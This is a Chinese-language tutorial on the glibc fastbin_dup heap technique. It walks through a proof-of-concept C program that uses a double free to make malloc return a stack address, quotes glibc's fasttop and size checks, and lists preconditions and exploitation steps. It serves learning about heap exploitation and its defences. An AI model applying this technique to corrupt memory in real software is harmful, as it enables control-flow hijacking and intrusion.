heapoverflow之fastbin_dup

之前写过的heap_overflow的内容似乎有点太多了,这里分开整理;


heap_overflow之fastbin_dup

触发代码

从网上找到的触发代码;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#include <stdio.h>
#include <stdlib.h>

int main()
{
printf("This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");

unsigned long long stack_var;

printf("The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

printf("Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);

printf("1st malloc(8): %p\n", a);
printf("2nd malloc(8): %p\n", b);
printf("3rd malloc(8): %p\n", c);

printf("Freeing the first one...\n");
free(a);

printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);

printf("So, instead, we'll free %p.\n", b);
free(b);

printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);

printf("Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);

printf("1st malloc(8): %p\n", d);
printf("2nd malloc(8): %p\n", malloc(8));
printf("Now the free list has [ %p ].\n", a);
printf("Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;

printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

printf("3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
printf("4th malloc(8): %p\n", malloc(8));
}

这里讲解的是fastbin的相关攻击,可以看到之类的malloc后面的数值很小,就是为了得到fastbin。

fastbin基本原理

fastbin是一种不会回到unsort bin的chunk,如何理解呢,看下列代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
char *a = malloc(20);     // 0xe4b010
char *b = malloc(20); // 0xe4b030
char *c = malloc(20); // 0xe4b050
char *d = malloc(20); // 0xe4b070

free(a);
free(b);
free(c);
free(d);

a = malloc(20); // 0xe4b070
b = malloc(20); // 0xe4b050
c = malloc(20); // 0xe4b030
d = malloc(20); // 0xe4b010

会发现,后free的内容接在了fastbin的尾部:
head -> d -> c -> b -> a -> tail
从而正在第二次分配的时候最先获得。并且从大小可以发现此时fastbin并没有发生回收。

fastbin_dup

本质原因还是double free,我们来看一下下列代码:

1
2
3
4
5
6
7
8
9
10
11
a = malloc(10);     // 0xa04010
b = malloc(10); // 0xa04030
c = malloc(10); // 0xa04050

free(a);
free(b); // To bypass "double free or corruption (fasttop)" check
free(a); // Double Free !!

d = malloc(10); // 0xa04010
e = malloc(10); // 0xa04030
f = malloc(10); // 0xa04010 - Same as 'd' !

利用的关键在于fastbin的组织形式:
head -> a -> b -> a -> tail
看到这里可能很多人会问:我平时写程序的时候也常常malloc和free,但是似乎没有发生这个问题啊?其实是遇到过的,有时候发生【已有数据被冲刷】这样的事情我们其实真的会遇到,只是我们忘记了。官方其实有出防御方法,其实就是检查当前top of the bin是否就是我们释放的p

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
 do
{
/* Check that the top of the bin is not the record we are going to add
(i.e., double free). */
if (__builtin_expect (old == p, 0))
{
errstr = "double free or corruption (fasttop)";
goto errout;
}
/* Check that size of fastbin chunk at the top is the same as
size of the chunk that we are adding. We can dereference OLD
only if we have the lock, otherwise it might have already been
deallocated. See use of OLD_IDX below for the actual check. */
if (have_lock && old != NULL)
old_idx = fastbin_index(chunksize(old));
p->fd = old2 = old;
}
while ((old = catomic_compare_and_exchange_val_rel (fb, p, old2)) != old2);

仔细一看发现有点。。嗯,难道官方忘记了fastbin是FILO了嘛。。。

通过这个有失误的防御,我们的就能够通过分配不同的位置从而使两个指针指向同一块内存。但单纯这样并不能造成实质上的破坏,于是我们需要第二部分,修改栈上空间:

1
2
printf("Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

这我们通过修改了d中的内容,间接修改了d中的fd。由于此时fastbin发现fd中还存在数据,于是就认为fd中存在的是真实的栈中地址,所以在下一次malloc之后,就能够得到栈上的地址。

防御策略

malloc其实有对这个情况进行过防御:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
# define chunksize(p) (chunksize_nomask (p) & ~(SIZE_BITS))// 计算大小的时候,去掉了最底层的三bit	
/* Like chunksize, but do not mask SIZE_BITS. */
# define chunksize_nomask(p) ((p)->mchunk_size)
# define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
# define SIZE_SZ 当前用来存放size的字节数,64bit下为8,然后malloc分配的大小,在64位下分配的大小至少为0x20,所以fastbin_index(<32)得到的数值就是0
if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
{
idx = fastbin_index (nb);
mfastbinptr *fb = &fastbin (av, idx);
mchunkptr pp = *fb;
REMOVE_FB (fb, victim, pp);
if (victim != 0)
{
// 在这个位置上,对victim,也就是我们即将分配的堆块大小进行了检查,如果这个堆块大小size经过计算,和最初计算出来的idx = fastbin_index (nb);不一样的时候,就会报错,所以我们在进行地址寻找的时候,我们要保证
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
malloc_printerr ("malloc(): memory corruption (fast)");
check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
/* While we're here, if we see other chunks of the same size,
stash them in the tcache. */
size_t tc_idx = csize2tidx (nb);
if (tcache && tc_idx < mp_.tcache_bins)
{
mchunkptr tc_victim;

/* While bin not empty and tcache not full, copy chunks over. */
while (tcache->counts[tc_idx] < mp_.tcache_count
&& (pp = *fb) != NULL)
{
REMOVE_FB (fb, tc_victim, pp);
if (tc_victim != 0)
{
tcache_put (tc_victim, tc_idx);
}
}
}
#endif
void *p = chunk2mem (victim);
alloc_perturb (p, bytes);
return p;
}
}

可以看到这里,我们分配堆块的时候,会检查分配的堆块大小是否和【原先的堆块大小是否相等】。换句话说,我们分配的fake堆块的位置【在size的位置上必须要有和原先的堆块大小相同的数值】

总结

利用前提:

  • 存在一个可以**【编辑的free之后的chunk】**
  • 有一个可以被伪造的chunk的空间,比如在.bss段之类的地方。

利用思路:

  • 首先在我们可控的地址上伪造堆块。
  • 将free后的chunk的fd改成我们可控的地址上。

注意事项:

  • fd指向的位置为fake chunk的prev_size的位置
  • chunk伪造的时候,最关键的伪造内容为size要和当前的chunksize保持一致

这个利用方法的关键在于,修改一个被free的chunk中的fd,使其能够指向栈,那么我们就能够得到这个指针指向位置的控制权。

这个方法的使用方法还有很多,比如直接利用这个方法获得某个函数指针之类的。